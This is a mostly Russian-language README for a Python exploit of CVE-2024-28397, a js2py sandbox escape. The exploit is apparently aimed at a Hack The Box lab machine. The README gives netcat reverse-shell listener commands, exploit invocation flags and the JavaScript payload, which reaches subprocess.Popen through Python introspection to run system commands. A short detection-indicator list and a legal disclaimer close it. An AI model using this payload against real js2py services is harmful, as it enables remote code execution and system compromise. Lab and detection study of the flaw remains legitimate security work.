
This repository contains a python exploit code for CVE-2024-28397 intended for use on the "CodePartTwo" machine on Hack The Box (HTB).
Код эксплойта на Python для CVE-2024-28397, критической уязвимости в js2py <= 0.74, позволяющей обход песочницы и удаленное выполнение кода.
js2py — популярная библиотека Python для выполнения кода JavaScript в среде Python. Эта уязвимость позволяет злоумышленникам обойти песочницу js2py и выполнить произвольные команды Python/системы, даже если включена опция js2py.disable_pyimport().
Эксплойт использует возможности интроспекции объектов Python через JavaScript для доступа к классу subprocess.Popen и выполнения системных команд.
pip install requests
# Запустить слушатель netcat
nc -lnvp 4444
# Запустить эксплойт
python3 exploit.py --target http://target.com:8000/run_code --lhost 10.10.14.100 --lport 4444
--target URL конечной точки цели (обязательно)
--lhost Локальный IP для обратного шелла (обязательно)
--lport Локальный порт для обратного шелла (по умолчанию: 4444)
python3 exploit.py --target http://10.10.11.82:8000/run_code --lhost 10.10.14.100
__class__ и __base__subprocess.Popen через интроспекциюЭксплойт работает путем:
Object.getOwnPropertyNames({}).__class__.__base__.__getattribute____subclasses__()subprocess.Popen// Доступ к иерархии объектов Python
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a, "__class__"), "__base__");
// Поиск класса subprocess.Popen
function findpopen(o) {
// Рекурсивный поиск по подклассам
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i];
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item;
}
}
}
// Выполнение команды
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
Ищите JavaScript-код, содержащий:
__class__ или ___class_____subclasses__()subprocess или Popenprintf и base64 -dЭтот инструмент предназначен только для авторизованного тестирования на проникновение и образовательных целей. Пользователи несут ответственность за соблюдение применимых законов и нормативных актов. Несанкционированный доступ к компьютерным системам является незаконным.
Этот проект распространяется под лицензией MIT - подробности см. в файле LICENSE.